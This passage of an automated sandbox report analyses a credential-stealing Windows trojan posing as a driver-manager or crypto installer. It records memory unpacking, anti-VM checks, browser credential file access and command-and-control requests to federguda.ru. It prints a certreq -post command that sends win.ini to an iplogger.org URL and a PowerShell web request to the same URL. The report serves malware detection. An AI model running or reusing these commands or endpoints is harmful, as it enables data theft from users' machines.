mscoreei+0xf5a3 @ 0x72daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72ea7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72ea4de3 exception.instruction_r: 8b 01 8b 40 28 ff 10 8b d0 85 c0 75 1b eb 13 83 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xbb8960 registers.esp: 11531000 registers.edi: 51737524 registers.eax: 0 registers.ebp: 11531024 registers.edx: 13859880 registers.ebx: 49883204 registers.esi: 51737704 registers.ecx: 0	1
__exception__ Oct. 7, 2021, 6:12 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x727f1194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x726c2ba1 mscorlib+0x36dd3a @ 0x7190dd3a mscorlib+0x32fea6 @ 0x718cfea6 mscorlib+0x30ab40 @ 0x718aab40 0xbbad9b 0xbbacd5 0xbbac39 0xbbaab7 0xbbe9ad 0xbbe533 0xbb8ff5 0xbb8b21 0xbb2d32 0xbb2a41 0xbb0b03 0xbb0070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72642652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7265264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72652e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x727074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72707610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72791dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72791e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72791f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7279416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72ea7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72ea4de3 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc e9 62 b8 fe 8a 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7566b727 registers.esp: 11530452 registers.edi: 0 registers.eax: 11530452 registers.ebp: 11530532 registers.edx: 0 registers.ebx: 13840272 registers.esi: 13859880 registers.ecx: 67253092	1
__exception__ Oct. 7, 2021, 6:12 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x727f1194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x726c2ba1 mscorlib+0x36dd51 @ 0x7190dd51 mscorlib+0x32fea6 @ 0x718cfea6 mscorlib+0x30ab40 @ 0x718aab40 0xbbad9b 0xbbacd5 0x5d328c8 0x5d327b3 0x5d322ec 0x5d31d0f 0xbb8b21 0xbb2d32 0xbb2a41 0xbb0b03 0xbb0070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72642652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7265264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72652e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x727074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72707610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72791dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72791e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72791f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7279416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72ea7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72ea4de3 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc e9 62 b8 fe 8a 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7566b727 registers.esp: 11530492 registers.edi: 0 registers.eax: 11530492 registers.ebp: 11530572 registers.edx: 0 registers.ebx: 13840272 registers.esi: 13859880 registers.ecx: 67252892	1
__exception__ Oct. 7, 2021, 6:11 p.m.	stacktrace: 610acha+0x4a1b5b @ 0x1491b5b 610acha+0x4a1c0a @ 0x1491c0a exception.instruction_r: c9 c2 10 00 cc cc cc cc cc e9 36 e9 ca 8b 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xc000008e exception.offset: 46887 exception.address: 0x7566b727 registers.esp: 1965144 registers.edi: 18202624 registers.eax: 1965144 registers.ebp: 1965224 registers.edx: 2130566132 registers.ebx: 0 registers.esi: 2008380459 registers.ecx: 1970077696	1
__exception__ Oct. 7, 2021, 6:11 p.m.	stacktrace: exception.instruction_r: ed 64 8f 05 00 00 00 00 83 c4 04 e9 cd 01 e4 ff exception.symbol: 610acha+0x4e90c2 exception.instruction: in eax, dx exception.module: 610acha.exe exception.exception_code: 0xc0000096 exception.offset: 5148866 exception.address: 0x14d90c2 registers.esp: 1965264 registers.edi: 20052861 registers.eax: 1750617430 registers.ebp: 18202624 registers.edx: 2130532438 registers.ebx: 0 registers.esi: 20065273 registers.ecx: 20	1
__exception__ Oct. 7, 2021, 6:11 p.m.	stacktrace: exception.instruction_r: ed 64 8f 05 00 00 00 00 83 c4 04 81 fb 68 58 4d exception.symbol: 610acha+0x4e9136 exception.instruction: in eax, dx exception.module: 610acha.exe exception.exception_code: 0xc0000096 exception.offset: 5148982 exception.address: 0x14d9136 registers.esp: 1965264 registers.edi: 20052861 registers.eax: 1447909480 registers.ebp: 18202624 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 20065273 registers.ecx: 10	1
__exception__ Oct. 7, 2021, 6:12 p.m.	stacktrace: 0x724cf9 0x724c83 0x724c09 0x724b7c 0x722ce7 0x722a21 0x720b09 0x720070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72642652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7265264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72652e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x727074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72707610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72791dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72791e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72791f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7279416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72ea7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72ea4de3 exception.instruction_r: 8b 01 8b 40 28 ff 10 8b d0 85 c0 75 1b eb 13 83 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x724d5a registers.esp: 1962088 registers.edi: 51290208 registers.eax: 0 registers.ebp: 1962112 registers.edx: 4613784 registers.ebx: 50079808 registers.esi: 51290388 registers.ecx: 0	1
__exception__ Oct. 7, 2021, 6:12 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x727f1194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x726c2ba1 mscorlib+0x36dd48 @ 0x7190dd48 mscorlib+0x32fea6 @ 0x718cfea6 mscorlib+0x30ab40 @ 0x718aab40 0x72c4bb 0x72c398 0x72c2f9 0x72c205 0x72bd44 0x72b717 0x728e91 0x722d4f 0x722a21 0x720b09 0x720070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72642652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7265264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72652e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x727074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72707610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72791dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72791e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72791f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7279416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72daf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72ea7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72ea4de3 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc e9 36 e9 ca 8b 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7566b727 registers.esp: 1961580 registers.edi: 0 registers.eax: 1961580 registers.ebp: 1961660 registers.edx: 0 registers.ebx: 4592176 registers.esi: 4613784 registers.ecx: 70440577	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://gdv.federguda.ru/
suspicious_features	GET method with no useragent header	suspicious_request	GET http://gdv.federguda.ru/PeZcZ/
suspicious_features	GET method with no useragent header	suspicious_request	GET http://e6tfvc.federguda.ru/

Performs some HTTP requests (3 events)

request	GET http://gdv.federguda.ru/
request	GET http://gdv.federguda.ru/PeZcZ/
request	GET http://e6tfvc.federguda.ru/

Allocates read-write-execute memory (usually to unpack itself) (50 out of 778 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 1660 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 1660 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 45056 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00401000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 1660 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 20480 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00410000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 1660 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73592000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 2492 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02270000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 2492 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73592000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 2492 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x731a3000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02630000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02670000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fea1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0264a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6fea2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02642000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02652000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02671000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02672000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02653000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02654000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0264b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02655000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02960000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02656000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05010000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05011000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05012000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05013000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05014000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05015000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05016000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05017000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05018000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05019000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0501a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0501b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0501c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Oct. 7, 2021, 6:11 p.m.	process_identifier: 776 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0501d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (3 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceExW Oct. 7, 2021, 6:11 p.m.	total_number_of_free_bytes: 0 free_bytes_available: 8455347296917744873 root_path: C:\Program Files (x86)\My manager4youdrivers\ total_number_of_bytes: 4294967295		0
GetDiskFreeSpaceExW Oct. 7, 2021, 6:11 p.m.	total_number_of_free_bytes: 0 free_bytes_available: 10929291264 root_path: C:\Program Files (x86)\ total_number_of_bytes: 34252779520	1	1
GetDiskFreeSpaceExW Oct. 7, 2021, 6:12 p.m.	total_number_of_free_bytes: 10922913792 free_bytes_available: 10922913792 root_path: C:\ total_number_of_bytes: 34252779520	1	1

Steals private information from local Internet browsers (4 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data

Creates executable files on the filesystem (1 event)

file	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\My manager4youdrivers\My manager4youdrivers.lnk

Creates a shortcut to an executable file (3 events)

file	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
file	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\My manager4youdrivers\My manager4youdrivers.lnk
file	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell (x86).lnk

Creates a suspicious process (2 events)

cmdline	"cmd.exe" /c certreq -post -config https://iplogger.org/1NUHh7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
cmdline	"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1NUHh7"

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\is-QD868.tmp\CalcCryptoInstalww.tmp

File has been identified by 8 AntiVirus engines on VirusTotal as malicious (8 events)

APEX	Malicious
Kaspersky	UDS:Trojan-Spy.Win32.Stealer
NANO-Antivirus	Virus.Win32.Gen-Crypt.ccnc
Rising	Trojan.Generic@ML.89 (RDML:deNq3GEEDx6KHgDsNkMa5A)
Jiangmin	Trojan.PSW.Kpot.bi
Kingsoft	Win32.Troj.Undef.(kcloud)
Microsoft	Trojan:Win32/Sabsik.FL.B!ml
Ikarus	Trojan.MSIL.Spy

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Oct. 7, 2021, 6:11 p.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
